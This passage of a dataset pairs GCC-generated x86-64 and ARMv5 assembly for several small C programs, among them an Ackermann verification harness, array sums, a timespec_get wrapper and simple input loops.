.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "719500.c"
.text
.align 2
.global f
.syntax unified
.arm
.fpu softvfp
.type f, %function
f:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-8]
str r1, [fp, #-12]
str r2, [fp, #-16]
ldr r3, [fp, #-16]
ldr r3, [r3]
cmp r3, #0
beq .L3
ldr r3, [fp, #-12]
ldr r2, [fp, #-8]
str r2, [r3]
.L3:
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size f, .-f
.align 2
.global g
.syntax unified
.arm
.fpu softvfp
.type g, %function
g:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r2, [fp, #-12]
ldr r1, [fp, #-12]
ldr r0, [fp, #-8]
bl f
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size g, .-g
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "477061.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], 0
jmp .L2
.L3:
mov edi, 251
call putchar@PLT
add DWORD PTR -4[rbp], 1
.L2:
cmp DWORD PTR -4[rbp], 48499999
jle .L3
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "477061.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
mov r3, #0
str r3, [fp, #-8]
b .L2
.L3:
mov r0, #251
bl putchar
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L2:
ldr r3, [fp, #-8]
ldr r2, .L5
cmp r3, r2
blt .L3
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L6:
.align 2
.L5:
.word 48500000
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "144237.c"
.intel_syntax noprefix
.text
.globl ackermann
.type ackermann, @function
ackermann:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
cmp DWORD PTR -4[rbp], 0
jne .L2
mov eax, DWORD PTR -8[rbp]
add eax, 1
jmp .L3
.L2:
cmp DWORD PTR -8[rbp], 0
jne .L4
mov eax, DWORD PTR -4[rbp]
sub eax, 1
mov esi, 1
mov edi, eax
call ackermann
jmp .L3
.L4:
mov eax, DWORD PTR -8[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -4[rbp]
mov esi, edx
mov edi, eax
call ackermann
mov edx, eax
mov eax, DWORD PTR -4[rbp]
sub eax, 1
mov esi, edx
mov edi, eax
call ackermann
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size ackermann, .-ackermann
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -12[rbp], eax
cmp DWORD PTR -12[rbp], 0
js .L6
cmp DWORD PTR -12[rbp], 3
jle .L7
.L6:
mov eax, 0
jmp .L8
.L7:
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -8[rbp], eax
cmp DWORD PTR -8[rbp], 0
js .L9
cmp DWORD PTR -8[rbp], 23
jle .L10
.L9:
mov eax, 0
jmp .L8
.L10:
mov edx, DWORD PTR -8[rbp]
mov eax, DWORD PTR -12[rbp]
mov esi, edx
mov edi, eax
call ackermann
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -12[rbp], 2
jne .L11
cmp DWORD PTR -8[rbp], 2
jne .L11
cmp DWORD PTR -4[rbp], 7
jne .L13
.L11:
mov eax, 0
jmp .L8
.L13:
nop
.L12:
mov eax, 0
call __VERIFIER_error@PLT
.L8:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "144237.c"
.text
.align 2
.global ackermann
.syntax unified
.arm
.fpu softvfp
.type ackermann, %function
ackermann:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #12
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-16]
cmp r3, #0
bne .L2
ldr r3, [fp, #-20]
add r3, r3, #1
b .L3
.L2:
ldr r3, [fp, #-20]
cmp r3, #0
bne .L4
ldr r3, [fp, #-16]
sub r3, r3, #1
mov r1, #1
mov r0, r3
bl ackermann
mov r3, r0
b .L3
.L4:
ldr r3, [fp, #-16]
sub r4, r3, #1
ldr r3, [fp, #-20]
sub r3, r3, #1
mov r1, r3
ldr r0, [fp, #-16]
bl ackermann
mov r3, r0
mov r1, r3
mov r0, r4
bl ackermann
mov r3, r0
.L3:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size ackermann, .-ackermann
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
bl __VERIFIER_nondet_int
str r0, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #0
blt .L6
ldr r3, [fp, #-16]
cmp r3, #3
ble .L7
.L6:
mov r3, #0
b .L8
.L7:
bl __VERIFIER_nondet_int
str r0, [fp, #-12]
ldr r3, [fp, #-12]
cmp r3, #0
blt .L9
ldr r3, [fp, #-12]
cmp r3, #23
ble .L10
.L9:
mov r3, #0
b .L8
.L10:
ldr r1, [fp, #-12]
ldr r0, [fp, #-16]
bl ackermann
str r0, [fp, #-8]
ldr r3, [fp, #-16]
cmp r3, #2
bne .L11
ldr r3, [fp, #-12]
cmp r3, #2
bne .L11
ldr r3, [fp, #-8]
cmp r3, #7
bne .L13
.L11:
mov r3, #0
b .L8
.L13:
nop
.L12:
bl __VERIFIER_error
.L8:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "850163.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "digite um numero inteiro: \n "
.LC1:
.string "%i"
.align 8
.LC2:
.string "O numero digitado e superior a 10 \n"
.LC3:
.string "pause"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rax, -12[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -12[rbp]
cmp eax, 10
jle .L2
lea rdi, .LC2[rip]
call puts@PLT
.L2:
lea rdi, .LC3[rip]
call system@PLT
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L4
call __stack_chk_fail@PLT
.L4:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "850163.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "digite um numero inteiro: \012 \000"
.align 2
.LC1:
.ascii "%i\000"
.align 2
.LC2:
.ascii "O numero digitado e superior a 10 \012\000"
.align 2
.LC3:
.ascii "pause\000"
.align 2
.LC4:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
ldr r3, .L5
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L5+4
bl printf
sub r3, fp, #12
mov r1, r3
ldr r0, .L5+8
bl __isoc99_scanf
ldr r3, [fp, #-12]
cmp r3, #10
ble .L2
ldr r0, .L5+12
bl puts
.L2:
ldr r0, .L5+16
bl system
mov r3, #0
ldr r2, .L5
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L4
bl __stack_chk_fail
.L4:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L6:
.align 2
.L5:
.word .LC4
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "764187.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%d"
.align 8
.LC1:
.string "Sum of odd elements: %d\nSum of even elements: %d\n"
.LC2:
.string "The ratio is %.2f\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 448
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -432[rbp], 0
mov DWORD PTR -428[rbp], 0
mov DWORD PTR -424[rbp], 0
mov DWORD PTR -420[rbp], 0
lea rax, -440[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov DWORD PTR -436[rbp], 0
jmp .L2
.L3:
lea rdx, -416[rbp]
mov eax, DWORD PTR -436[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
add DWORD PTR -436[rbp], 1
.L2:
mov eax, DWORD PTR -440[rbp]
cmp DWORD PTR -436[rbp], eax
jl .L3
mov DWORD PTR -436[rbp], 0
jmp .L4
.L7:
mov eax, DWORD PTR -436[rbp]
cdqe
mov eax, DWORD PTR -416[rbp+rax*4]
and eax, 1
test eax, eax
je .L5
add DWORD PTR -432[rbp], 1
mov eax, DWORD PTR -436[rbp]
cdqe
mov eax, DWORD PTR -416[rbp+rax*4]
add DWORD PTR -424[rbp], eax
jmp .L6
.L5:
add DWORD PTR -428[rbp], 1
mov eax, DWORD PTR -436[rbp]
cdqe
mov eax, DWORD PTR -416[rbp+rax*4]
add DWORD PTR -420[rbp], eax
.L6:
add DWORD PTR -436[rbp], 1
.L4:
mov eax, DWORD PTR -440[rbp]
cmp DWORD PTR -436[rbp], eax
jl .L7
mov edx, DWORD PTR -424[rbp]
mov eax, DWORD PTR -420[rbp]
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
pxor xmm0, xmm0
cvtsi2ss xmm0, DWORD PTR -428[rbp]
pxor xmm1, xmm1
cvtsi2ss xmm1, DWORD PTR -432[rbp]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
lea rdi, .LC2[rip]
mov eax, 1
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L9
call __stack_chk_fail@PLT
.L9:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "764187.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%d\000"
.align 2
.LC1:
.ascii "Sum of odd elements: %d\012Sum of even elements: %d"
.ascii "\012\000"
.global __aeabi_i2f
.global __aeabi_fdiv
.global __aeabi_f2d
.align 2
.LC2:
.ascii "The ratio is %.2f\012\000"
.align 2
.LC3:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 432
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #436
ldr r3, .L10
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, #0
str r3, [fp, #-432]
mov r3, #0
str r3, [fp, #-428]
mov r3, #0
str r3, [fp, #-424]
mov r3, #0
str r3, [fp, #-420]
sub r3, fp, #440
mov r1, r3
ldr r0, .L10+4
bl __isoc99_scanf
mov r3, #0
str r3, [fp, #-436]
b .L2
.L3:
sub r2, fp, #416
ldr r3, [fp, #-436]
lsl r3, r3, #2
add r3, r2, r3
mov r1, r3
ldr r0, .L10+4
bl __isoc99_scanf
ldr r3, [fp, #-436]
add r3, r3, #1
str r3, [fp, #-436]
.L2:
ldr r3, [fp, #-440]
ldr r2, [fp, #-436]
cmp r2, r3
blt .L3
mov r3, #0
str r3, [fp, #-436]
b .L4
.L7:
ldr r3, [fp, #-436]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r3, [r3, #-404]
and r3, r3, #1
cmp r3, #0
beq .L5
ldr r3, [fp, #-432]
add r3, r3, #1
str r3, [fp, #-432]
ldr r3, [fp, #-436]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r3, [r3, #-404]
ldr r2, [fp, #-424]
add r3, r2, r3
str r3, [fp, #-424]
b .L6
.L5:
ldr r3, [fp, #-428]
add r3, r3, #1
str r3, [fp, #-428]
ldr r3, [fp, #-436]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r3, [r3, #-404]
ldr r2, [fp, #-420]
add r3, r2, r3
str r3, [fp, #-420]
.L6:
ldr r3, [fp, #-436]
add r3, r3, #1
str r3, [fp, #-436]
.L4:
ldr r3, [fp, #-440]
ldr r2, [fp, #-436]
cmp r2, r3
blt .L7
ldr r2, [fp, #-424]
ldr r1, [fp, #-420]
ldr r0, .L10+8
bl printf
ldr r0, [fp, #-428]
bl __aeabi_i2f
mov r4, r0
ldr r0, [fp, #-432]
bl __aeabi_i2f
mov r3, r0
mov r1, r3
mov r0, r4
bl __aeabi_fdiv
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L10+12
bl printf
mov r3, #0
ldr r2, .L10
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L9
bl __stack_chk_fail
.L9:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L11:
.align 2
.L10:
.word .LC3
.word .LC0
.word .LC1
.word .LC2
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "802078.c"
.intel_syntax noprefix
.text
.globl timespec_get
.type timespec_get, @function
timespec_get:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov DWORD PTR -12[rbp], esi
cmp DWORD PTR -12[rbp], 1
jne .L2
mov rax, QWORD PTR -8[rbp]
mov rsi, rax
mov edi, 0
mov eax, 0
call __clock_gettime@PLT
test eax, eax
jns .L6
mov eax, 0
jmp .L4
.L2:
mov eax, 0
jmp .L4
.L6:
nop
mov eax, DWORD PTR -12[rbp]
.L4:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size timespec_get, .-timespec_get
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "802078.c"
.text
.align 2
.global timespec_get
.syntax unified
.arm
.fpu softvfp
.type timespec_get, %function
timespec_get:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-12]
cmp r3, #1
bne .L2
ldr r1, [fp, #-8]
mov r0, #0
bl __clock_gettime
mov r3, r0
cmp r3, #0
bge .L6
mov r3, #0
b .L4
.L2:
mov r3, #0
b .L4
.L6:
nop
ldr r3, [fp, #-12]
.L4:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size timespec_get, .-timespec_get
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "240047.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 80
mov DWORD PTR -68[rbp], edi
mov QWORD PTR -80[rbp], rsi
mov eax, 0
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -36[rbp], eax
mov eax, 0
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -44[rbp], eax
mov eax, 0
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -32[rbp], eax
mov eax, 0
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -28[rbp], eax
mov eax, 0
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -40[rbp], eax
mov eax, 0
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -24[rbp], eax
mov eax, 0
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -20[rbp], eax
mov eax, 0
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -16[rbp], eax
mov eax, 0
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -12[rbp], eax
mov eax, 0
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -8[rbp], eax
mov DWORD PTR -56[rbp], 0
mov eax, 0
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -36[rbp], eax
mov eax, 0
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
not eax
shr eax, 31
movzx eax, al
mov edi, eax
mov eax, 0
call __VERIFIER_assume@PLT
mov DWORD PTR -44[rbp], 0
mov DWORD PTR -52[rbp], 0
jmp .L2
.L5:
mov DWORD PTR -40[rbp], 0
mov DWORD PTR -48[rbp], 0
jmp .L3
.L4:
add DWORD PTR -56[rbp], 1
mov eax, DWORD PTR -4[rbp]
add DWORD PTR -40[rbp], eax
add DWORD PTR -48[rbp], 1
.L3:
mov eax, DWORD PTR -48[rbp]
cmp eax, DWORD PTR -4[rbp]
jne .L4
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -36[rbp]
sete al
movzx eax, al
mov edi, eax
mov eax, 0
call __VERIFIER_assume@PLT
mov eax, DWORD PTR -4[rbp]
add DWORD PTR -44[rbp], eax
add DWORD PTR -52[rbp], 1
.L2:
mov eax, DWORD PTR -52[rbp]
cmp eax, DWORD PTR -4[rbp]
jne .L5
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -36[rbp]
sete al
movzx eax, al
mov edi, eax
mov eax, 0
call __VERIFIER_assume@PLT
mov eax, DWORD PTR -4[rbp]
imul eax, eax
cmp DWORD PTR -56[rbp], eax
sete al
movzx eax, al
mov edi, eax
mov eax, 0
call assert@PLT
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "240047.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 64
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #64
str r0, [fp, #-64]
str r1, [fp, #-68]
bl __VERIFIER_nondet_int
str r0, [fp, #-40]
bl __VERIFIER_nondet_int
str r0, [fp, #-48]
bl __VERIFIER_nondet_int
str r0, [fp, #-36]
bl __VERIFIER_nondet_int
str r0, [fp, #-32]
bl __VERIFIER_nondet_int
str r0, [fp, #-44]
bl __VERIFIER_nondet_int
str r0, [fp, #-28]
bl __VERIFIER_nondet_int
str r0, [fp, #-24]
bl __VERIFIER_nondet_int
str r0, [fp, #-20]
bl __VERIFIER_nondet_int
str r0, [fp, #-16]
bl __VERIFIER_nondet_int
str r0, [fp, #-12]
mov r3, #0
str r3, [fp, #-60]
bl __VERIFIER_nondet_int
str r0, [fp, #-40]
bl __VERIFIER_nondet_int
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mvn r3, r3
lsr r3, r3, #31
and r3, r3, #255
mov r0, r3
bl __VERIFIER_assume
mov r3, #0
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-56]
b .L2
.L5:
mov r3, #0
str r3, [fp, #-44]
mov r3, #0
str r3, [fp, #-52]
b .L3
.L4:
ldr r3, [fp, #-60]
add r3, r3, #1
str r3, [fp, #-60]
ldr r2, [fp, #-44]
ldr r3, [fp, #-8]
add r3, r2, r3
str r3, [fp, #-44]
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L3:
ldr r2, [fp, #-52]
ldr r3, [fp, #-8]
cmp r2, r3
bne .L4
ldr r2, [fp, #-44]
ldr r3, [fp, #-40]
cmp r2, r3
moveq r3, #1
movne r3, #0
and r3, r3, #255
mov r0, r3
bl __VERIFIER_assume
ldr r2, [fp, #-48]
ldr r3, [fp, #-8]
add r3, r2, r3
str r3, [fp, #-48]
ldr r3, [fp, #-56]
add r3, r3, #1
str r3, [fp, #-56]
.L2:
ldr r2, [fp, #-56]
ldr r3, [fp, #-8]
cmp r2, r3
bne .L5
ldr r2, [fp, #-48]
ldr r3, [fp, #-40]
cmp r2, r3
moveq r3, #1
movne r3, #0
and r3, r3, #255
mov r0, r3
bl __VERIFIER_assume
ldr r3, [fp, #-8]
mov r2, r3
mul r2, r3, r2
mov r3, r2
ldr r2, [fp, #-60]
cmp r2, r3
moveq r3, #1
movne r3, #0
and r3, r3, #255
mov r0, r3
bl assert
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "349032.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%d"
.LC1:
.string "%lf"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -32[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -32[rbp]
test eax, eax
jg .L2
mov eax, 1
jmp .L8
.L2:
lea rax, -24[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov DWORD PTR -28[rbp], 1
jmp .L4
.L7:
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
movsd xmm1, QWORD PTR -24[rbp]
movsd xmm0, QWORD PTR -16[rbp]
comisd xmm0, xmm1
jbe .L11
mov edi, 48
call putchar@PLT
mov eax, 1
jmp .L8
.L11:
movsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -24[rbp], xmm0
add DWORD PTR -28[rbp], 1
.L4:
mov eax, DWORD PTR -32[rbp]
cmp DWORD PTR -28[rbp], eax
jl .L7
mov edi, 49
call putchar@PLT
mov eax, 1
.L8:
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L9
call __stack_chk_fail@PLT
.L9:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "349032.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%d\000"
.align 2
.LC1:
.ascii "%lf\000"
.global __aeabi_dcmplt
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
ldr r3, .L12
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #36
mov r1, r3
ldr r0, .L12+4
bl __isoc99_scanf
ldr r3, [fp, #-36]
cmp r3, #0
bgt .L2
mov r3, #1
b .L8
.L2:
sub r3, fp, #28
mov r1, r3
ldr r0, .L12+8
bl __isoc99_scanf
mov r3, #1
str r3, [fp, #-32]
b .L4
.L7:
sub r3, fp, #20
